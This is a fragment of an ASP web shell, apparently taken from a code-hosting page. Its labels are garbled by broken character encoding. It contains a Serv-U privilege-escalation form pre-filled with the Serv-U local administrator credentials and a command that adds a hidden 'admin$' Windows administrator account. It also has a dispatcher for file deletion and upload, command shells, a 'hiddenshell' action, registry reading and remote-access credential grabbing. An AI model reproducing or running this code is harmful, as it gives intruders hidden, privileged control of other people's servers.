a.send loginuser & loginpass & mt & deldomain & quit
set session("a")=a
j"<center><3E><>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD>,<2C><>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><br><font color=red>"&cmd&"</font><br><br>"
j"<input type=button value=' <20><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD> ' onClick=""location.href='?Action=Servu';"">"
j"</center>"
case else
on error resume next
set a=session("a")
set b=session("b")
set c=session("c")
a.abort
Set a = Nothing
b.abort
Set b = Nothing
c.abort
Set c = Nothing
j"<center><form method='post' name='goldsun'>"
j"<table width='494' height='163' border='1' cellpadding='0' cellspacing='1' bordercolor='#666666'>"
j"<tr align='center' valign='middle'>"
j"<td colspan='2'>Serv-U <20><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8> by Sam</td>"
j"</tr>"
j"<tr align='center' valign='middle'>"
j"<td width='100'><3E>û<EFBFBD><C3BB><EFBFBD>:</td>"
j"<td width='379'><input name='u' type='text' id='u' value='LocalAdministrator'></td>"
j"</tr>"
j"<tr align='center' valign='middle'>"
j"<td><3E><> <20></td>"
j"<td><input name='p' type='text' id='p' value='#l@$ak#.lk;0@P'></td>"
j"</tr>"
j"<tr align='center' valign='middle'>"
j"<td><3E><> <20>ڣ<EFBFBD></td>"
j"<td><input name='port' type='text' id='port' value='43958'></td>"
j"</tr>"
j"<tr align='center' valign='middle'>"
j"<td>ϵͳ·<CDB3><C2B7><EFBFBD><EFBFBD></td>"
j" <td><input name='f' type='text' id='f' value='"&f&"' size='8'></td>"
j" </tr>"
j" <tr align='center' valign='middle'>"
j" <td><3E><><EFBFBD><EFBFBD><EFBFBD></td>"
j" <td><input name='c' type='text' id='c' value='cmd /c net user admin$ 123456 /add & net localgroup administrators admin$ /add' size='50'></td>"
j" </tr>"
j" <tr align='center' valign='middle'>"
j" <td colspan='2'><input type='submit' name='Submit' value='<27>ύ'> "
j"<input type='reset' name='Submit2' value='<27><><EFBFBD><EFBFBD>'>"
j"<input name='SUaction' type='hidden' id='action' value='1'></td>"
j"</tr></table></form></center>"
end select
function Gpath()
on error resume next
err.clear
set f=Server.CreateObject("Scripting.FileSystemObject")
if err.number>0 then
gpath="c:"
exit function
end if
gpath=f.GetSpecialFolder(0)
gpath=lcase(left(gpath,2))
set f=nothing
end function
case"MMD":MMD()
case"ReadREG":call ReadREG()
case"Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing
case"DownFile":DownFile FName:ShowErr()
case"DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing
case"EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing
case"CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing
case"MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing
case"DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing
case"CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing
case"MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing
case"NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing
case"UpFile":UpFile()
case"TSearch":TSearch()
case"pcanywhere4":pcanywhere4()
case"Cmd1Shell":Cmd1Shell()
case"Logout":Session.Contents.Remove("kkk"):Response.Redirect URL
case"Course":Course()
case"Alexa":Alexa()
case"suftp":suftp()
case"upload":upload()
case"radmin":radmin()
case"pcanywhere4":pcanywhere4()
case"goback":goback()
Case "ProFile":ProFile()
case"php":php()
case"downloads":downloads()
case"apjdel":apjdel()
case"cmdx":cmdx()
case"aspx":aspx()
case"hiddenshell":hiddenshell()
case"ScanDriveForm" : ScanDriveForm
case"ScanDrive" : ScanDrive Request("Drive")
case"ScFolder" : ScFolder Request("Folder")
Case Else MainForm()
End Select
if Action<>"Servu" then ShowErr()
j"</body></html>"
%></body></html>
</body></html>
</body></html>
Reference in a new issue Copy permalink